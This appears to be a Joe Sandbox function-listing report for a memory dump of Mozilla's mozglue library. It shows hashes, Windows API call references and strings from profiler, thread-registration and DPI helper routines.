Function 6CB476E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e1914e2fe6248d5f807700eb30622f872bb63f49a9ad1cb16e411ebc3ec0cc29
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: DE321871E046598FCB14CF98C880AADFBB2FF88308F648169C549B7749D771A986CF90

Function 6CB46E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: ffa59960caafe2f7c384bfd89f9c567d7d0f4fe018e28b04f9e46fe2190fa90a
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6122E871E046598FCB14CF98C880AADF7F2FF88304F6485A9C949A7749D771A986CF90

Function 6CB00512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 8b6cb8d2c6431803476cdb5f6908fd14f72cca191aa694a9771986ee6d894269
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B8221971E04659CFDB18CF58C890A9DFBB2FF89308F548159D449A7745D731A986CF80

Function 6CB4AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df55ef00d8ca2c26c026fdbae1d309b4bd32e58cfc2113793ed0e813c4363cbe
Instruction ID: bcdd7a2ff492d4fd2e7692aa7c28b58fbdeb826eeeb3463ede1131b924bd20ec
Opcode Fuzzy Hash: df55ef00d8ca2c26c026fdbae1d309b4bd32e58cfc2113793ed0e813c4363cbe
Instruction Fuzzy Hash: AEF1027260C7859FDB00CE28C8907AEB7E6EF85319F14CA2DE5D487789E37498459B83

Function 6CADC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b004b560ee31a1a1ecb3811f5839cad61875162eee6fd1458166896257489ebc
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: FEA1B171F0021A8FDB08CE69C8917AEB7F2AFC8358F598129D915E7781DB346D468BD0

Function 6CB355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CB0E1A5), ref: 6CB35606
LoadLibraryW.KERNEL32(gdi32,?,6CB0E1A5), ref: 6CB3560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB35633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB3563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB3566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB3567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB35696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB35716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB3572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB35748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB35761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB3577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB35793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB357FF

Strings

DeleteObject, xrefs: 6CB357F9
LoadIconW, xrefs: 6CB3575B
LoadCursorW, xrefs: 6CB35774
FillRect, xrefs: 6CB35729
RegisterClassW, xrefs: 6CB356AC
CreateSolidBrush, xrefs: 6CB357E4
gdi32, xrefs: 6CB3560A
CreateWindowExW, xrefs: 6CB356C5
user32, xrefs: 6CB35601
MonitorFromWindow, xrefs: 6CB3578D
ReleaseDC, xrefs: 6CB35742
GetThreadDpiAwarenessContext, xrefs: 6CB3562D
EnableNonClientDpiScaling, xrefs: 6CB35666
AreDpiAwarenessContextsEqual, xrefs: 6CB35637
SetWindowPos, xrefs: 6CB356F7
StretchDIBits, xrefs: 6CB357CC
GetSystemMetricsForDpi, xrefs: 6CB35677
SetWindowLongPtrW, xrefs: 6CB357B7
GetDpiForWindow, xrefs: 6CB35690
GetWindowDC, xrefs: 6CB35710
ShowWindow, xrefs: 6CB356DE
GetMonitorInfoW, xrefs: 6CB357A2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: fbdd52dae88394bd231ef48ee0a1cc39c8b2f521ffb4e257a5c9f54b8d5f98c0
Instruction ID: 76744545956afcfbcb1f0e4a3133d43e990dd3f5648c51c444d916005310e79f
Opcode Fuzzy Hash: fbdd52dae88394bd231ef48ee0a1cc39c8b2f521ffb4e257a5c9f54b8d5f98c0
Instruction Fuzzy Hash: 7051B174701392ABEB009F35ED0492A7BFCEB062567949829ED16E3A46EB70CD01CF65

Function 6CB1CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAE582D), ref: 6CB1CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAE582D), ref: 6CB1CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB4FE98,?,?,?,?,?,6CAE582D), ref: 6CB1CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB1CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB1CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB1CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB1CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB1CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB1CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB1CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB1CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB1CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB1CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB1CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB1CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB1CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB1CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB1CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB1CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB1CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB1CE8A

Strings

seqstyle, xrefs: 6CB1CCE6
noiostacks, xrefs: 6CB1CCBE
processcpu, xrefs: 6CB1CE6E
unregisteredthreads, xrefs: 6CB1CE58
jsallocations, xrefs: 6CB1CD0E
markersallthreads, xrefs: 6CB1CE42
audiocallbacktracing, xrefs: 6CB1CDD4
leaf, xrefs: 6CB1CC66
cpuallthreads, xrefs: 6CB1CE16
nostacksampling, xrefs: 6CB1CD7C
screenshots, xrefs: 6CB1CCD4
fileio, xrefs: 6CB1CC92
ipcmessages, xrefs: 6CB1CDBE
mainthreadio, xrefs: 6CB1CC7C
preferencereads, xrefs: 6CB1CD92
stackwalk, xrefs: 6CB1CCF8
power, xrefs: 6CB1CE84
fileioall, xrefs: 6CB1CCA8
uOe0itdObpgmYvwY5pDdUfbXfCRhX4O4+thRhf0li1tjDyaqJuGLV3lFgVOclSjgQ7CoayhUjr0GKfNHzWbKMca891RnFJS2sx6h3O1+r4V/ao9Pw/nU6Qsuzy1OJraWMbvR9T6GbRfbzSwcKk/SuJK3hJ9M6udcwgb52XFWW5q0g7vJSkL1A++93wcXaKES771jOdHzCi5AAQuNWq2t6fA1Cr7PLqbgs17L+n7hHu2ZN8VlfQFqSQD6zhR30WfJABrm, xrefs: 6CB1CE92
nativeallocations, xrefs: 6CB1CDA8
java, xrefs: 6CB1CC37
samplingallthreads, xrefs: 6CB1CE2C
Unrecognized feature "%s"., xrefs: 6CB1CEA0
notimerresolutionchange, xrefs: 6CB1CE00
default, xrefs: 6CB1CC21

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$uOe0itdObpgmYvwY5pDdUfbXfCRhX4O4+thRhf0li1tjDyaqJuGLV3lFgVOclSjgQ7CoayhUjr0GKfNHzWbKMca891RnFJS2sx6h3O1+r4V/ao9Pw/nU6Qsuzy1OJraWMbvR9T6GbRfbzSwcKk/SuJK3hJ9M6udcwgb52XFWW5q0g7vJSkL1A++93wcXaKES771jOdHzCi5AAQuNWq2t6fA1Cr7PLqbgs17L+n7hHu2ZN8VlfQFqSQD6zhR30WfJABrm$unregisteredthreads
API String ID: 1004003707-426982284
Opcode ID: 64fdbb95b70431a5c42b08f02dc481ca0ded3ee0114a9b788eca99ca717e8b7b
Instruction ID: 9ea911204b9565cad7785425ee4240af48b15e934322a5be607f6e1c8bb39543
Opcode Fuzzy Hash: 64fdbb95b70431a5c42b08f02dc481ca0ded3ee0114a9b788eca99ca717e8b7b
Instruction Fuzzy Hash: 0251F9C1A5E2F532FE0039152D11BAF150AEF5325AF10803AED0AA2F84FF15E61D96B7

Function 6CAE4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAE44B2,6CB5E21C,6CB5F7F8), ref: 6CAE473E
Part of subcall function 6CAE4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAE474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAE44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAE44D2
InitOnceExecuteOnce.KERNEL32(6CB5F80C,6CADF240,?,?), ref: 6CAE451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAE455C
LoadLibraryW.KERNEL32(?), ref: 6CAE4592
InitializeCriticalSection.KERNEL32(6CB5F770), ref: 6CAE45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAE45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAE45BB
InitOnceExecuteOnce.KERNEL32(6CB5F818,6CADF240,?,?), ref: 6CAE4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAE4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAE4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAE466D
VerSetConditionMask.NTDLL ref: 6CAE469F
VerSetConditionMask.NTDLL ref: 6CAE46AB
VerSetConditionMask.NTDLL ref: 6CAE46B2
VerSetConditionMask.NTDLL ref: 6CAE46B9
VerSetConditionMask.NTDLL ref: 6CAE46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAE46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAE46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAE46FD

Strings

l, xrefs: 6CAE4578
NativeNtBlockSet_Write, xrefs: 6CAE46F7
user32.dll, xrefs: 6CAE4557, 6CAE463F
kernel32.dll, xrefs: 6CAE44CD
WRusr.dll, xrefs: 6CAE44B5

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f2e84f3de06ebc0718c8ac69644c328e7cfa62f6f06e290002f31d39885a11df
Instruction ID: dec830049a9c829097923f67ca0c65f897f981089c0ec1e87457ac98fef1afbc
Opcode Fuzzy Hash: f2e84f3de06ebc0718c8ac69644c328e7cfa62f6f06e290002f31d39885a11df
Instruction Fuzzy Hash: 1F6118B06003849FEB019FA5CC09BA9BBBCFF4A308F88855CE5049B641D7B59995CFE0

Function 6CB1F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB1F8F9

Part of subcall function 6CAE6390: GetCurrentThreadId.KERNEL32 ref: 6CAE63D0
Part of subcall function 6CAE6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAE63DF
Part of subcall function 6CAE6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAE640E

ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F93A
GetCurrentThreadId.KERNEL32 ref: 6CB1F98A
GetCurrentThreadId.KERNEL32 ref: 6CB1F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F716

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

Part of subcall function 6CADB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CADB5E0

GetCurrentThreadId.KERNEL32 ref: 6CB1F739
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F746
GetCurrentThreadId.KERNEL32 ref: 6CB1F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB5385B,00000002,?,?,?,?,?), ref: 6CB1F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB1F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB1F866
free.MOZGLUE(?), ref: 6CB1FA0C

Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE5E8C
Part of subcall function 6CAE5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5E9D
Part of subcall function 6CAE5E60: GetCurrentThreadId.KERNEL32 ref: 6CAE5EAB
Part of subcall function 6CAE5E60: GetCurrentThreadId.KERNEL32 ref: 6CAE5EB8
Part of subcall function 6CAE5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5ECF
Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAE5F27
Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAE5F47
Part of subcall function 6CAE5E60: GetCurrentProcess.KERNEL32 ref: 6CAE5F53
Part of subcall function 6CAE5E60: GetCurrentThread.KERNEL32 ref: 6CAE5F5C
Part of subcall function 6CAE5E60: GetCurrentProcess.KERNEL32 ref: 6CAE5F66
Part of subcall function 6CAE5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAE5F7E

free.MOZGLUE(?), ref: 6CB1F9C5
free.MOZGLUE(?), ref: 6CB1F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB1F9A6
" attempted to re-register as ", xrefs: 6CB1F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB1F71F
Thread , xrefs: 6CB1F789

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: a4ee49dd868432a9f3683fbf4b29865803d19fb8ec9fe4854153462bdbde44b8
Instruction ID: 20693491365d6447d20f1030485c4374c45ca765ea38feba08dbd577893337af
Opcode Fuzzy Hash: a4ee49dd868432a9f3683fbf4b29865803d19fb8ec9fe4854153462bdbde44b8
Instruction Fuzzy Hash: 04811871A083849FDB10DF24C840BAEBBB5FF85308F95856DE84597B51EB30E949CB92

Function 6CAE5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5E9D

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAE5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAE5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAE6017

Part of subcall function 6CAD4310: moz_xmalloc.MOZGLUE(00000010,?,6CAD42D2), ref: 6CAD436A
Part of subcall function 6CAD4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAD42D2), ref: 6CAD4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAE5F47
GetCurrentProcess.KERNEL32 ref: 6CAE5F53
GetCurrentThread.KERNEL32 ref: 6CAE5F5C
GetCurrentProcess.KERNEL32 ref: 6CAE5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAE5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAE5F27

Part of subcall function 6CAECA10: mozalloc_abort.MOZGLUE(?), ref: 6CAECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE5E8C

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE60CC

Strings

GeckoMain, xrefs: 6CAE5ECE, 6CAE6015

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

